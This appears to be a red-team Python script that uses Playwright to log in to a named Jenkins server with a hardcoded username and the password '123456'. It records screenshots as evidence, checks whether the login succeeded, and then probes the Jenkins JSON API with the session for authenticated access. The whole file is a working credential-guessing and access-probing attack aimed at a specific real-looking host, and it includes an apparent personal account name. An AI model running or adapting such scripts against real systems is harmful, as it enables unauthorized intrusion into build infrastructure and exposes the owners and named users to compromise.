#!/usr/bin/env python3
"""Jenkins login attempt via Playwright — interactive form submit.
Catches the actual post-login URL and page state to distinguish
success (302 → / with dashboard) from failure (302 → /login?error).
"""
import time
from playwright.sync_api import sync_playwright

USERNAME = "guilhermesilva"
PASSWORD = "123456"
TARGET = "https://jenkins.salesforce.ipiranga.io/"
EVIDENCE = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/evidence"

def main():
    with sync_playwright() as p:
        browser = p.firefox.launch(headless=True)
        context = browser.new_context(
            viewport={"width": 1280, "height": 900},
            ignore_https_errors=True,
        )
        page = context.new_page()

        print("=== Navigate to Jenkins login ===")
        page.goto(TARGET, wait_until="networkidle", timeout=30000)
        time.sleep(1)
        print(f"URL: {page.url}")
        print(f"Title: {page.title()}")
        page.screenshot(path=f"{EVIDENCE}/01_login_page.png")

        # Fill login form
        print("=== Filling login form ===")
        page.fill('input[name="j_username"]', USERNAME)
        page.fill('input[name="j_password"]', PASSWORD)
        page.screenshot(path=f"{EVIDENCE}/02_form_filled.png")

        # Submit
        print("=== Submitting ===")
        page.click('button[name="Submit"]')
        time.sleep(3)
        url_after = page.url
        title_after = page.title()
        print(f"URL after submit: {url_after}")
        print(f"Title after submit: {title_after}")
        page.screenshot(path=f"{EVIDENCE}/03_after_login.png")

        # Check result
        content = page.content()
        if "login?error" in url_after or "loginError" in content or "Invalid username or password" in content:
            print("RESULT: LOGIN FAILED — invalid credentials")
            # Try to extract error message
            err = page.query_selector('.alert, .error, [role=alert]')
            if err:
                print(f"Error: {err.inner_text()[:300]}")
        elif "/manage" in url_after or "dashboard" in content.lower() or page.query_selector('#jenkins-head-icon'):
            print("RESULT: LOGIN SUCCESS — Jenkins dashboard reached")
            print(f"  Final URL: {url_after}")
        elif "jenkins" in title_after.lower() and "sign in" not in title_after.lower():
            print("RESULT: LIKELY SUCCESS — title changed from Sign in")
            print(f"  Final URL: {url_after}")
        else:
            print(f"RESULT: UNKNOWN STATE")
            print(f"  URL: {url_after}")
            print(f"  Title: {title_after}")
            # Dump body text
            body = page.query_selector('body')
            if body:
                print(f"  Body text: {body.inner_text()[:500]}")

        # Try API access with the browser session
        print("\n=== Testing /api/json with browser session ===")
        page.goto(TARGET + "api/json", wait_until="networkidle", timeout=15000)
        time.sleep(1)
        api_url = page.url
        api_content = page.content()
        print(f"API URL: {api_url}")
        if "Authentication required" in api_content:
            print("API: NOT AUTHENTICATED (still 403)")
        elif '"jobs"' in api_content or '"mode"' in api_content:
            print("API: AUTHENTICATED — JSON response received!")
            # Extract the JSON
            body_text = page.query_selector('body').inner_text()
            print(f"API response (first 500 chars): {body_text[:500]}")
            page.screenshot(path=f"{EVIDENCE}/04_api_access.png")
        else:
            print(f"API: Unknown — {api_content[:200]}")

        browser.close()

if __name__ == "__main__":
    main()